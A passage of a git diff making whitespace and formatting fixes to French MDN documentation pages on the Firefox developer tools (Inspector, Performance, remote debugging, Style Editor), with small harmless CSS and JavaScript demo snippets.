affichés sur un fond différent et le lien vers la feuille de style contient le préfixe <code>(user agent)</code> :</p> @@ -161,14 +161,14 @@ original_slug: Outils/Inspecteur/Comment/Examiner_et_modifier_le_CSS <p>Effectuer une saisie dans la boite de recherche applique un filtre en temps réel sur la liste. Ainsi, si, par exemple, vous souhaitez uniquement afficher uniquement les paramètres liés aux polices d'écriture, vous pouvez taper « font » dans la boîte de recherche et seules les propriétés dont le nom contient « font » seront listées. Il est également possible de chercher les valeurs des propriétés : par exemple pour trouver la règle qui définit la police « Lucida Grande », il suffit de saisir cette valeur dans le champ de recherche.</p> <div class="note"> -<p>Dans l'onglet des règles calculé, il est possible d'utiliser le raccourci clavier <kbd>Ctrl</kbd> / <kbd>Cmd</kbd> + <kbd>F</kbd> pour sélectioner le champ de recherche. Ensuite il est possible de supprimer la recherche avec <kbd>Esc</kbd>.</p> +<p>Dans l'onglet des règles calculé, il est possible d'utiliser le raccourci clavier <kbd>Ctrl</kbd> / <kbd>Cmd</kbd> + <kbd>F</kbd> pour sélectioner le champ de recherche. Ensuite il est possible de supprimer la recherche avec <kbd>Esc</kbd>.</p> </div> <h2 id="Modifier_les_règles">Modifier les règles</h2> <p>Cliquer sur une déclaration ou un sélecteur dans l'onglet des règles permet de les éditer et d'observer immédiatement le résultat. Il est également possible de parcourir les différentes propriétés et valeurs avec <kbd>Tab</kbd>, et de les éditer avec <kbd>Entrée</kbd> ou <kbd>Espace</kbd>. Pour ajouter une nouvelle déclaration, il faut cliquer sur la dernière ligne de la règle (celle où il y a l’accolade fermante).</p> -<p>Alors que le nom de la propriété est en train d'être écrite, une liste d'auto complétions s'affiche. Appuyer sur <kbd>Tab </kbd> accepte la suggestion sélectionnée, et <kbd>Flèche Haut</kbd> et <kbd>Flèche Bas</kbd> permettent de se déplacer dans la liste. La suggestion sélectionnée par défaut est la propriété la plus commune commençant par les lettres tapées. Ici par exemple, l'utilisateur à tapé "c", et le choix par défaut est "color" :</p> +<p>Alors que le nom de la propriété est en train d'être écrite, une liste d'auto complétions s'affiche. Appuyer sur <kbd>Tab </kbd> accepte la suggestion sélectionnée, et <kbd>Flèche Haut</kbd> et <kbd>Flèche Bas</kbd> permettent de se déplacer dans la liste. La suggestion sélectionnée par défaut est la propriété la plus commune commençant par les lettres tapées. Ici par exemple, l'utilisateur à tapé "c", et le choix par défaut est "color" :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13080/css-autocomplete.png" style="display: block; height: 401px; margin-left: auto; margin-right: auto; width: 587px;"></p> diff --git a/files/fr/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html b/files/fr/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html index 80d1307dcc..7241cc57f1 100644 --- a/files/fr/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html +++ b/files/fr/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html @@ -33,6 +33,6 @@ original_slug: Outils/Inspecteur/Comment/Examiner_et_modifier_le_modèle_de_boî <h2 id="Éditer_le_modèle_de_boites">Éditer le modèle de boites</h2> -<p>Il est également possible d'éditer les valeurs dans la <a href="/fr/docs/Tools/Page_Inspector/UI_Tour#Computed_view">vue modèle de boite</a> et les changements dans la page sont affiché immédiatement :</p> +<p>Il est également possible d'éditer les valeurs dans la <a href="/fr/docs/Tools/Page_Inspector/UI_Tour#Computed_view">vue modèle de boite</a> et les changements dans la page sont affiché immédiatement :</p> <p>{{EmbedYouTube("gHjDjM8GJ9I")}}</p> diff --git a/files/fr/tools/page_inspector/how_to/examine_event_listeners/index.html b/files/fr/tools/page_inspector/how_to/examine_event_listeners/index.html index ab47f3c8a4..fd1dd8b192 100644 --- a/files/fr/tools/page_inspector/how_to/examine_event_listeners/index.html +++ b/files/fr/tools/page_inspector/how_to/examine_event_listeners/index.html @@ -12,12 +12,8 @@ original_slug: Outils/Inspecteur/Comment/Examiner_les_écouteurs_d_évènements <p>L'inspecteur affiche dans le <a href="/fr/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">panneau HTML</a> le mot "event" à côté des éléments qui ont un écouteur lié :</p> -<p> </p> - <p><img alt="" src="https://mdn.mozillademos.org/files/16253/inspect_element_with_eventhandler.png" style="border: 1px solid black; display: block; height: 24px; margin-left: auto; margin-right: auto; width: 491px;"></p> -<p> </p> - <p>Cliquer sur cette icône fera apparaitre une pop-up listant tous les écouteurs liés à cet élément :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/16254/inspector_event_handlers.png" style="border: 1px solid black; display: block; height: 702px; margin-left: auto; margin-right: auto; width: 828px;">Chaque ligne contient :</p> diff --git a/files/fr/tools/page_inspector/how_to/examine_grid_layouts/index.html b/files/fr/tools/page_inspector/how_to/examine_grid_layouts/index.html index e2c8c579aa..d59b1b3513 100644 --- a/files/fr/tools/page_inspector/how_to/examine_grid_layouts/index.html +++ b/files/fr/tools/page_inspector/how_to/examine_grid_layouts/index.html @@ -99,7 +99,7 @@ original_slug: Outils/Inspecteur/Comment/Examine_grid_layouts <h3 id="Prolonger_les_lignes_à_linfini">Prolonger les lignes à l'infini</h3> -<p>Par défaut les lignes/<em>tracks </em>ne sont affichées que dans l'élément sur laquelle la grille est appliquée :</p> +<p>Par défaut les lignes/<em>tracks </em>ne sont affichées que dans l'élément sur laquelle la grille est appliquée :</p> <p><img alt="A CSS grid overlay with grid lines not extended infinitely" src="https://mdn.mozillademos.org/files/15987/no-extend-lines.png" style="border-style: solid; border-width: 1px; display: block; height: 499px; margin: 0px auto; width: 1000px;"></p> diff --git a/files/fr/tools/page_inspector/how_to/select_an_element/index.html b/files/fr/tools/page_inspector/how_to/select_an_element/index.html index bb693e7355..42d6b7169e 100644 --- a/files/fr/tools/page_inspector/how_to/select_an_element/index.html +++ b/files/fr/tools/page_inspector/how_to/select_an_element/index.html @@ -34,4 +34,4 @@ original_slug: Outils/Inspecteur/Comment/Sélectionner_un_élément <p>{{EmbedYouTube("Ss_fJz0zaxA")}}</p> -<p>Depuis Firefox 52, utiliser la touche <kbd>Maj</kbd> lors du clic sélectionnera l'élément, mais ne fermera pas le sélectioneur (afin de pouvoir sélectionner un autre élément ensuite)</p> +<p>Depuis Firefox 52, utiliser la touche <kbd>Maj</kbd> lors du clic sélectionnera l'élément, mais ne fermera pas le sélectioneur (afin de pouvoir sélectionner un autre élément ensuite)</p> diff --git a/files/fr/tools/page_inspector/how_to/work_with_animations/index.html b/files/fr/tools/page_inspector/how_to/work_with_animations/index.html index afd47abe3f..d88677b9ae 100644 --- a/files/fr/tools/page_inspector/how_to/work_with_animations/index.html +++ b/files/fr/tools/page_inspector/how_to/work_with_animations/index.html @@ -96,7 +96,7 @@ original_slug: Outils/Inspecteur/Comment/Work_with_animations <p>This is essentially a visual representation of the animation's <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_example:_Web_Animations_API#JavaScript_Content">keyframes</a>:</p> -<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> iconKeyframeSet <span class="operator token">=</span> <span class="punctuation token">[</span> +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> iconKeyframeSet <span class="operator token">=</span> <span class="punctuation token">[</span> <span class="punctuation token">{</span> transform<span class="punctuation token">:</span> <span class="string token">'scale(1)'</span><span class="punctuation token">,</span> filter<span class="punctuation token">:</span> <span class="string token">'grayscale(100%)' </span><span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> filter<span class="punctuation token">:</span> <span class="string token">'grayscale(100%)'</span><span class="punctuation token">,</span> offset<span class="punctuation token">:</span> <span class="number token">0.333</span><span class="punctuation token"> }</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> transform<span class="punctuation token">:</span> <span class="string token">'scale(1.5)'</span><span class="punctuation token">,</span> offset<span class="punctuation token">:</span> <span class="number token">0.666</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> diff --git a/files/fr/tools/page_inspector/ui_tour/index.html b/files/fr/tools/page_inspector/ui_tour/index.html index 09eaf7d3c5..5edf2022f3 100644 --- a/files/fr/tools/page_inspector/ui_tour/index.html +++ b/files/fr/tools/page_inspector/ui_tour/index.html @@ -66,8 +66,6 @@ original_slug: Outils/Inspecteur/UI_Tour <p><img alt="The Computed view within the Inspector." src="https://mdn.mozillademos.org/files/15509/57-computed-view.png" style="display: block; height: 491px; margin-left: auto; margin-right: auto; width: 500px;"></p> -<p> </p> - <p>Pour en savoir plus sur le modèle de boite, voir "<a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examiner et éditer le modèle de boite</a>". Il est a noter qu'avant Firefox 50, le modèle de boite n'apparaissait pas dans cet onglet puisqu'il avait le sien.</p> <p>Pour plus de détails sur les déclarations CSS de cette vue, voir "<a href="/fr/docs/Outils/Inspecteur/Comment/Examiner_et_modifier_le_CSS#Examiner_le_CSS_calculé">Examiner le CSS calculé</a>".</p> @@ -76,8 +74,6 @@ original_slug: Outils/Inspecteur/UI_Tour <p>Cette vue liste toutes les polices présentes dans la page, ainsi que des exemples éditables.</p> -<p> </p> - <p><img alt="The all-new Inspector panel in Firefox 57." src="https://mdn.mozillademos.org/files/15517/57-fonts-panel.png" style="display: block; height: 344px; margin-left: auto; margin-right: auto; width: 500px;"></p> <p>Voir "<a href="/fr/docs/Outils/Inspecteur/Comment/Voir_les_polices">Voir les polices</a>" pour plus de détails.</p> @@ -86,10 +82,6 @@ original_slug: Outils/Inspecteur/UI_Tour <p>Cette vue apporte des détails sur les animations relatives à l'élément sélectionné, ainsi qu'un contrôleur pour les interrompre.</p> -<p> </p> - <p><img alt="This is the Animations pane in the Firefox 57 Inspector. " src="https://mdn.mozillademos.org/files/15519/animation-view.png" style="display: block; height: 343px; margin-left: auto; margin-right: auto; width: 500px;"></p> -<p> </p> - <p>Voir "<a href="/fr/docs/Tools/Page_Inspector/How_to/Work_with_animations">Travailler avec les animations</a>" pour plus de détails.</p> diff --git a/files/fr/tools/paint_flashing_tool/index.html b/files/fr/tools/paint_flashing_tool/index.html index 703684394e..ab607de717 100644 --- a/files/fr/tools/paint_flashing_tool/index.html +++ b/files/fr/tools/paint_flashing_tool/index.html @@ -35,12 +35,12 @@ original_slug: Outils/Paint_Flashing_Tool <h2 id="Exemple_transitions_CSS">Exemple : transitions CSS</h2> -<p>Un domaine dans lequel les choix d'implémentation impactent l'efficacité est les <a href="/fr/docs/Web/Guide/CSS/Using_CSS_transitions" title="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">transitions CSS</a>. L'exemple ce dessous montre deux façons différentes de déplacer un élément en utilisant une transition CSS. La première méthode applique la transition à la<code> </code><a href="/fr/docs/Web/CSS/margin-left" title="/en-US/docs/Web/CSS/margin-left"><code>margin-left</code></a> de l'élément, alors que la deuxième méthode déplace l'élément en utilisant la propriété <a href="/fr/docs/Web/CSS/transform" title="/fr/docs/Web/CSS/transform"><code>transform</code></a>.</p> +<p>Un domaine dans lequel les choix d'implémentation impactent l'efficacité est les <a href="/fr/docs/Web/Guide/CSS/Using_CSS_transitions" title="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">transitions CSS</a>. L'exemple ce dessous montre deux façons différentes de déplacer un élément en utilisant une transition CSS. La première méthode applique la transition à la <a href="/fr/docs/Web/CSS/margin-left" title="/en-US/docs/Web/CSS/margin-left"><code>margin-left</code></a> de l'élément, alors que la deuxième méthode déplace l'élément en utilisant la propriété <a href="/fr/docs/Web/CSS/transform" title="/fr/docs/Web/CSS/transform"><code>transform</code></a>.</p> <pre class="brush: html"><body> <div id="container"> - <div class="moving-box" id="moving-box-left-margin">Transition utilisant margin-left</div> - <div class="moving-box" id="moving-box-transform">Transition utilisant transform</div> + <div class="moving-box" id="moving-box-left-margin">Transition utilisant margin-left</div> + <div class="moving-box" id="moving-box-transform">Transition utilisant transform</div> </div> </body> @@ -51,29 +51,29 @@ original_slug: Outils/Paint_Flashing_Tool } .moving-box { - height: 20%; - width:20%; - margin: 2%; - padding: 2%; - background-color: blue; - color: white; - font-size: 24px; + height: 20%; + width:20%; + margin: 2%; + padding: 2%; + background-color: blue; + color: white; + font-size: 24px; } #moving-box-left-margin { - transition: margin-left 4s; + transition: margin-left 4s; } #moving-box-transform { - transition: transform 4s; + transition: transform 4s; } body:hover #moving-box-left-margin{ - margin-left: 74%; + margin-left: 74%; } body:hover #moving-box-transform { - transform: translate(300%); + transform: translate(300%); }</pre> <p>Pour voir la transition, placez la souris dans l'espace ce dessous :</p> diff --git a/files/fr/tools/performance/call_tree/index.html b/files/fr/tools/performance/call_tree/index.html index f6aa635a66..47b44db183 100644 --- a/files/fr/tools/performance/call_tree/index.html +++ b/files/fr/tools/performance/call_tree/index.html @@ -40,7 +40,7 @@ original_slug: Outils/Performance/Call_Tree <p><em>Durée individuelle</em> est calculé depuis <em>Coût individuel </em>comme un pourcentage du nombre total d'échantillons dans la portion sélectionnée de l'enregistrement.</p> -<p>Dans la version actuelle de l'arbre d'appel, ce sont les colones les plus importantes. Les fonctions avec un <em>Cout individuel</em> important sont de bons candidats pour de l'optimisation, soit parce qu’elles prennent beaucoup de temps à s'exécuter, soit parce qu'elles sont appelées très souvent.</p> +<p>Dans la version actuelle de l'arbre d'appel, ce sont les colones les plus importantes. Les fonctions avec un <em>Cout individuel</em> important sont de bons candidats pour de l'optimisation, soit parce qu’elles prennent beaucoup de temps à s'exécuter, soit parce qu'elles sont appelées très souvent.</p> <p>Cette capture d'écran révèle ce que l'on savait déjà : <code>bubbleSort()</code> est un algorithme très inefficace. Il y a à peu près 6 fois plus d'échantillons dans <code>bubbleSort()</code> que de dans <code>selectionSort()</code>, et 13 fois plus dans que dans <code>quickSort()</code>.</p> @@ -112,8 +112,6 @@ original_slug: Outils/Performance/Call_Tree <p>Par défaut, l'arbre d'appel ne sépare par les données de plateforme dans des fonctions séparées, car elles ajoutent beaucoup de nuisance et ces détails ont peu de chances d'être utiles à des personnes ne travaillant sur le développement de Firefox. Si vous voulez cependant voir ces détails, il faut cocher l'option "Afficher les données de la plateforme Gecko" dans les <a href="/fr/docs/Tools/Performance/UI_Tour#Toolbar">options</a>.</p> </div> -<p> </p> - <h2 id="Utiliser_un_arbre_inversé_(_Bottom-Up)">Utiliser un arbre inversé ( Bottom-Up)</h2> <p>Un arbre d'appel inversé, inverse l'ordre de toutes les piles, en mettant la fonction la plus loin dans l'arbre au début. La conséquence directe est que cette vue se focalise plus sur l'information <em>Durée Individuelle</em>. Cette vue est pratique pour trouver les points "chauds" du code.</p> diff --git a/files/fr/tools/performance/examples/index.html b/files/fr/tools/performance/examples/index.html index 0d099388a9..ea6436866a 100644 --- a/files/fr/tools/performance/examples/index.html +++ b/files/fr/tools/performance/examples/index.html @@ -4,6 +4,6 @@ slug: Tools/Performance/Examples translation_of: Tools/Performance/Examples original_slug: Outils/Performance/Examples --- -<div>{{ToolsSidebar}}</div><p>Liste des pages de démos pour les scénarios de performances et walkthroughs.</p> +<div>{{ToolsSidebar}}</div><p>Liste des pages de démos pour les scénarios de performances et walkthroughs.</p> <p>{{ ListSubpages ("/en-US/docs/Tools/Performance/Examples", 5) }}</p> diff --git a/files/fr/tools/performance/scenarios/intensive_javascript/index.html b/files/fr/tools/performance/scenarios/intensive_javascript/index.html index e2509d5b17..c225cc76fd 100644 --- a/files/fr/tools/performance/scenarios/intensive_javascript/index.html +++ b/files/fr/tools/performance/scenarios/intensive_javascript/index.html @@ -80,9 +80,9 @@ function calculatePrimes(iterations, multiplier) { } function doPointlessComputationsWithBlocking() { - var primes = calculatePrimes(iterations, multiplier); - pointlessComputationsButton.disabled = false; - console.log(primes); + var primes = calculatePrimes(iterations, multiplier); + pointlessComputationsButton.disabled = false; + console.log(primes); } </pre> diff --git a/files/fr/tools/performance/waterfall/index.html b/files/fr/tools/performance/waterfall/index.html index caea98ceb1..3a349b3431 100644 --- a/files/fr/tools/performance/waterfall/index.html +++ b/files/fr/tools/performance/waterfall/index.html @@ -131,7 +131,7 @@ original_slug: Outils/Performance/Waterfall <p>Le calcul des positions et de la taille des éléments de la page. Cette opération est parfois appelée "reflow".</p> </td> <td><img alt="" src="https://mdn.mozillademos.org/files/10707/purple.png" style="height: 21px; width: 60px;"></td> - <td> </td> + <td></td> </tr> <tr> <td> @@ -140,7 +140,7 @@ original_slug: Outils/Performance/Waterfall <p>Affichage des pixels à l'écran</p> </td> <td><img alt="" src="https://mdn.mozillademos.org/files/10705/green.png" style="height: 21px; width: 60px;"></td> - <td> </td> + <td></td> </tr> <tr> <td> @@ -155,7 +155,6 @@ original_slug: Outils/Performance/Waterfall <dd>Une chaine de caractères indiquant la raison pour laquelle le ramasse-miettes a été effectué.</dd> <dt>Raison du cycle non incrémentiel</dt> <dd>Si l'évènement n'était pas incrémentiel, une chaine expliquant pourquoi la GC a été effectuée.</dd> - <dt> </dt> <dd> <div class="geckoVersionNote"> <p>Nouveau dans Firefox 46: Si l’évènement GC a été causé par une d'allocation, un nouveau lien "Show Allocation Triggers". Cliquer dessus affiche le profil d'allocation menant à cet évènement.</p> @@ -189,9 +188,9 @@ original_slug: Outils/Performance/Waterfall <p>Préparation/préoptimisation pour le Cycle Collection.</p> </td> <td><img alt="" src="https://mdn.mozillademos.org/files/10709/red.png" style="height: 21px; width: 60px;"></td> - <td><span class="hidden"> </span> - <p><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><strong>Type</strong></p> - <span class="hidden"> </span> + <td><span class="hidden"> </span> + <p><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><strong>Type</strong></p> + <span class="hidden"> </span> <dl> <dd>Toujours "ForgetSkippable".</dd> @@ -237,7 +236,7 @@ original_slug: Outils/Performance/Waterfall <p>L'évènement <code><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></code> du document</p> </td> <td><img alt="" src="https://mdn.mozillademos.org/files/12191/red.png" style="height: 21px; width: 60px;"></td> - <td> </td> + <td></td> </tr> <tr> <td> @@ -246,7 +245,7 @@ original_slug: Outils/Performance/Waterfall <p>L'évènement <code><a href="/en-US/docs/Web/Events/load">load</a></code> du document.</p> </td> <td><img alt="" src="https://mdn.mozillademos.org/files/12193/blue.png" style="height: 21px; width: 60px;"></td> - <td> </td> + <td></td> </tr> <tr> <td> @@ -270,7 +269,7 @@ original_slug: Outils/Performance/Waterfall <td> <p><strong>Worker event in worker thread</strong></p> - <p>Affiché lorsque le worker envoie un message à un worker, ou reçoit un message du thread principal.</p> + <p>Affiché lorsque le worker envoie un message à un worker, ou reçoit un message du thread principal.</p> </td> <td><img alt="" src="https://mdn.mozillademos.org/files/12197/orange2-hollow.png" style="height: 21px; width: 60px;"></td> <td> diff --git a/files/fr/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html b/files/fr/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html index 7a8ea23caf..c77efa7056 100644 --- a/files/fr/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html +++ b/files/fr/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html @@ -16,8 +16,6 @@ original_slug: Outils/Débogage_distant/Debugging_Firefox_for_Android_with_WebID <p>Pour que cela fonctionne, il est nécessaire d'avoir les versions Firefox Desktop 36+ et Firefox pour Android 35+. Si vous avez besoin d'utiliser des versions précédentes, regardez les instructions pour <a href="/fr/docs/Tools/Remote_Debugging/Firefox_for_Android">connecter les outils de développement à Firefox pour Android</a>.</p> </div> -<p> </p> - <p><img alt="" src="https://mdn.mozillademos.org/files/9011/remote-debugging-overview-fx36.png" style="display: block; margin-left: auto; margin-right: auto;"></p> <p>Ce guide est divisé en deux parties : la première partie "Prérequis", décris toutes les opérations qui ne sont requises qu'une seule fois, alors que la seconde partie "Connexion", décrit les étapes qui sont nécessaires à chaque connexion.</p> @@ -38,13 +36,13 @@ original_slug: Outils/Débogage_distant/Debugging_Firefox_for_Android_with_WebID <p>Si vous n'avez pas ADB Helper version 0.7.1+, sélectionnez " Gérer les composants additionnels " depuis le menu "Projets", et ADB Helper sera listé sous "Composants supplémentaires" :</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/9021/extra-components.png" style="display: block; margin-left: auto; margin-right: auto;">Cliquez sur "désinstaller", puis sur "installer", et vous devriez maintenant avoir la dernière version.</p> +<p><img alt="" src="https://mdn.mozillademos.org/files/9021/extra-components.png" style="display: block; margin-left: auto; margin-right: auto;">Cliquez sur "désinstaller", puis sur "installer", et vous devriez maintenant avoir la dernière version.</p> <h3 id="Configurer_l'appareil_Android">Configurer l'appareil Android</h3> <p>Tout d'abord, activez le débogage USB en suivant les étapes<a class="external external-icon" href="http://developer.android.com/guide/developing/device.html#setting-up">2 et 3 de ce lien et uniquement ce lien</a>.</p> -<p>Ensuite, activez le débogage distant dans Firefox pour Android : Ouvrez le navigateur, ouvre le menu et sélectionnez "Options" puis "Outils de développement" (sur certains appareils il peut être nécessaire de sélectionner "Plus" pour voir "Options"). Maintenant, cochez la case "Débogage distant" :</p> +<p>Ensuite, activez le débogage distant dans Firefox pour Android : Ouvrez le navigateur, ouvre le menu et sélectionnez "Options" puis "Outils de développement" (sur certains appareils il peut être nécessaire de sélectionner "Plus" pour voir "Options"). Maintenant, cochez la case "Débogage distant" :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/5829/remote-debugging-device-enable.png" style="display: block; margin-left: auto; margin-right: auto;"></p> diff --git a/files/fr/tools/remote_debugging/thunderbird/index.html b/files/fr/tools/remote_debugging/thunderbird/index.html index f01eb174f8..07b08919a7 100644 --- a/files/fr/tools/remote_debugging/thunderbird/index.html +++ b/files/fr/tools/remote_debugging/thunderbird/index.html @@ -14,7 +14,7 @@ original_slug: Outils/Débogage_distant/Thunderbird <h2 id="Configurer_Thunderbird">Configurer Thunderbird</h2> -<p>Tout ce qui a besoin d'être fait dans Thunderbird est d'activer le serveur de débogage. Cela peut être fait en utilisant le menu <code>Outils</code> dans la barre d'outils (alt + Outils) et en sélectionnant <code>Activer le débogage distant</code>. Par défaut, le serveur sera ouvert sur le port 6000. Si vous désirez changer ce port, par exemple pour déboguer de multiples profils, il est nécessaire d'ouvrir l'éditeur de configuration avancé et de changer la préférence <code>devtools.debugger.remote-port</code>.</p> +<p>Tout ce qui a besoin d'être fait dans Thunderbird est d'activer le serveur de débogage. Cela peut être fait en utilisant le menu <code>Outils</code> dans la barre d'outils (alt + Outils) et en sélectionnant <code>Activer le débogage distant</code>. Par défaut, le serveur sera ouvert sur le port 6000. Si vous désirez changer ce port, par exemple pour déboguer de multiples profils, il est nécessaire d'ouvrir l'éditeur de configuration avancé et de changer la préférence <code>devtools.debugger.remote-port</code>.</p> <h2 id="Configurer_Firefox">Configurer Firefox</h2> diff --git a/files/fr/tools/responsive_design_mode/index.html b/files/fr/tools/responsive_design_mode/index.html index 69725ebd32..07812bf910 100644 --- a/files/fr/tools/responsive_design_mode/index.html +++ b/files/fr/tools/responsive_design_mode/index.html @@ -34,19 +34,15 @@ original_slug: Outils/Vue_adaptative <p><strong>Note:</strong> L'appareil sélectioné ainsi que l'orientation (portrait/paysage) sera sauvegardé entre deux sessions.</p> </div> -<p> </p> - <p><img alt="" src="https://mdn.mozillademos.org/files/16319/RDM.png" style="display: block; height: 805px; margin-left: auto; margin-right: auto; width: 852px;"></p> -<p> </p> - <p>Il est possible d'afficher ou de cacher la boîte à outils indépendamment de la vue adaptative elle-même :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/16320/RDMdevtools.png" style="display: block; height: 799px; margin-left: auto; margin-right: auto; width: 852px;">Quand la vue adaptative est activée, il est possible de continuer à naviguer comme vous le feriez normalement dans la zone de contenu redimensionnée.</p> <h2 id="Sélectionner_un_appareil">Sélectionner un appareil</h2> -<p>Juste au-dessus de la zone d'affichage, se trouve la ligne "Aucun appareil sélectionné". Cliquer sur cette ligne ouvrira une liste de noms d'appareils. Sélectionner un appareil, et le mode de vue adaptative configurera les propriétés suivantes correspondantes à l'appareil sélectionné :</p> +<p>Juste au-dessus de la zone d'affichage, se trouve la ligne "Aucun appareil sélectionné". Cliquer sur cette ligne ouvrira une liste de noms d'appareils. Sélectionner un appareil, et le mode de vue adaptative configurera les propriétés suivantes correspondantes à l'appareil sélectionné :</p> <ul> <li>Taille de l'écran</li> diff --git a/files/fr/tools/shader_editor/index.html b/files/fr/tools/shader_editor/index.html index c97577af6f..8a3a69fb0a 100644 --- a/files/fr/tools/shader_editor/index.html +++ b/files/fr/tools/shader_editor/index.html @@ -17,7 +17,7 @@ original_slug: Outils/Editeur_de_shaders <p>{{EmbedYouTube("hnoKqFuJhu0")}}</p> -<p>WebGL est une API JavaScript qui sert à afficher des graphismes 3D et 2D interactifs dans le navigateur sans plugin. Avec WebGL deux programmes appelés "Shaders" sont générés, ceux-ci sont appelé dans le niveau approprié du <a href="https://www.opengl.org/wiki/Rendering_Pipeline_Overview">processus d’affichage d'OpenGL </a>Le premier shader est un <a href="https://www.opengl.org/wiki/Vertex_Shader">vertex shader</a>, qui fournit les coordonnés de chaque vertex qui doit être affiché. Le deuxième est un <a href="https://www.opengl.org/wiki/Fragment_Shader">fragment shader</a> qui fournit la couleur de chaque pixel qui doit être affiché.<br> +<p>WebGL est une API JavaScript qui sert à afficher des graphismes 3D et 2D interactifs dans le navigateur sans plugin. Avec WebGL deux programmes appelés "Shaders" sont générés, ceux-ci sont appelé dans le niveau approprié du <a href="https://www.opengl.org/wiki/Rendering_Pipeline_Overview">processus d’affichage d'OpenGL </a>Le premier shader est un <a href="https://www.opengl.org/wiki/Vertex_Shader">vertex shader</a>, qui fournit les coordonnés de chaque vertex qui doit être affiché. Le deuxième est un <a href="https://www.opengl.org/wiki/Fragment_Shader">fragment shader</a> qui fournit la couleur de chaque pixel qui doit être affiché.<br> <br> Ces shaders sont codés dans le langage OpenGL Shading, ou <a href="https://www.opengl.org/documentation/glsl/">GLSL</a>. En WebGL, ces shaders peuvent être intégrés dans une page de différentes manières : sous forme de texte directement codés dans le code source JavaScript, sous forme de fichier séparé intégré avec les balises {{HTMLElement("script")}}, ou récupérés depuis le serveur sous forme de texte. Le code JavaScript en cours d’exécution dans la page envoie alors les shaders à la compilation en utilisant les APIs WebGL, et ils sont ensuite exécutés sur le GPU (unité de processeur graphique) de l'appareil.</p> diff --git a/files/fr/tools/style_editor/index.html b/files/fr/tools/style_editor/index.html index 4bb350881a..0e249b0c93 100644 --- a/files/fr/tools/style_editor/index.html +++ b/files/fr/tools/style_editor/index.html @@ -86,7 +86,7 @@ original_slug: Outils/Éditeur_de_style <ul> <li>Utiliser un préprocesseur de CSS qui respecte la <a href="https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit">proposition de "Source Map" Revision 3</a>. Aujourd’hui cela signifie utiliser la version 3.3.0 de <a href="http://sass-lang.com/">Sass</a>, ou la <a href="http://roots.io/using-less-source-maps/">version 1.5.0 de Less</a>. D'autres préprocesseurs sont actuellement en train de travailler pour devenir compatible ou considèrent le faire.</li> - <li>Ordonner au préprocesseur de générer une "source map" par exemple passer le paramètre <code>--sourcemap</code> à l’outil de ligne de commande Sass.</li> + <li>Ordonner au préprocesseur de générer une "source map" par exemple passer le paramètre <code>--sourcemap</code> à l’outil de ligne de commande Sass.</li> </ul> <h3 id="Voir_les_sources_d'origine">Voir les sources d'origine</h3> diff --git a/files/fr/tools/taking_screenshots/index.html b/files/fr/tools/taking_screenshots/index.html index 1c59043e81..0311ac8c56 100644 --- a/files/fr/tools/taking_screenshots/index.html +++ b/files/fr/tools/taking_screenshots/index.html @@ -38,7 +38,7 @@ original_slug: Outils/Taking_screenshots <h2 id="Copier_des_captures_d'écran_dans_le_presse-papier">Copier des captures d'écran dans le presse-papier</h2> -<p>Dans Firefox 53, il est possible de copier la capture d'écran dans le presse-papier. Pensez à cocher la case « Enregistrer dans le presse-papiers » :</p> +<p>Dans Firefox 53, il est possible de copier la capture d'écran dans le presse-papier. Pensez à cocher la case « Enregistrer dans le presse-papiers » :</p> <p>{{EmbedYouTube("AZedFGh6F78")}}</p> diff --git a/files/fr/tools/tips/index.html b/files/fr/tools/tips/index.html index 2f988f78de..9c91aeadb2 100644 --- a/files/fr/tools/tips/index.html +++ b/files/fr/tools/tips/index.html @@ -106,7 +106,7 @@ original_slug: Outils/Tips <ul> <li>L'icône de boite noire (<img alt="Icon for black boxing a JavaScript source" src="https://mdn.mozillademos.org/files/14189/Black%20boxing.png" style="height: 18px; width: 18px;">) du panneau des feuilles de style permet d'afficher ou de cacher une feuille de style.</li> - <li>Cliquez sur une <a href="/fr/docs/Outils/Éditeur_de_style#Le_volet_media">règle @media </a> pour l'appliquer dans la <a href="/fr/docs/Outils/Vue_adaptative">Vue adaptative</a>.</li> + <li>Cliquez sur une <a href="/fr/docs/Outils/Éditeur_de_style#Le_volet_media">règle @media </a> pour l'appliquer dans la <a href="/fr/docs/Outils/Vue_adaptative">Vue adaptative</a>.</li> <li>Cliquez sur le bouton d'import (<img alt="Button to import a style sheet from the file system" src="https://mdn.mozillademos.org/files/14193/Import%20button.png" 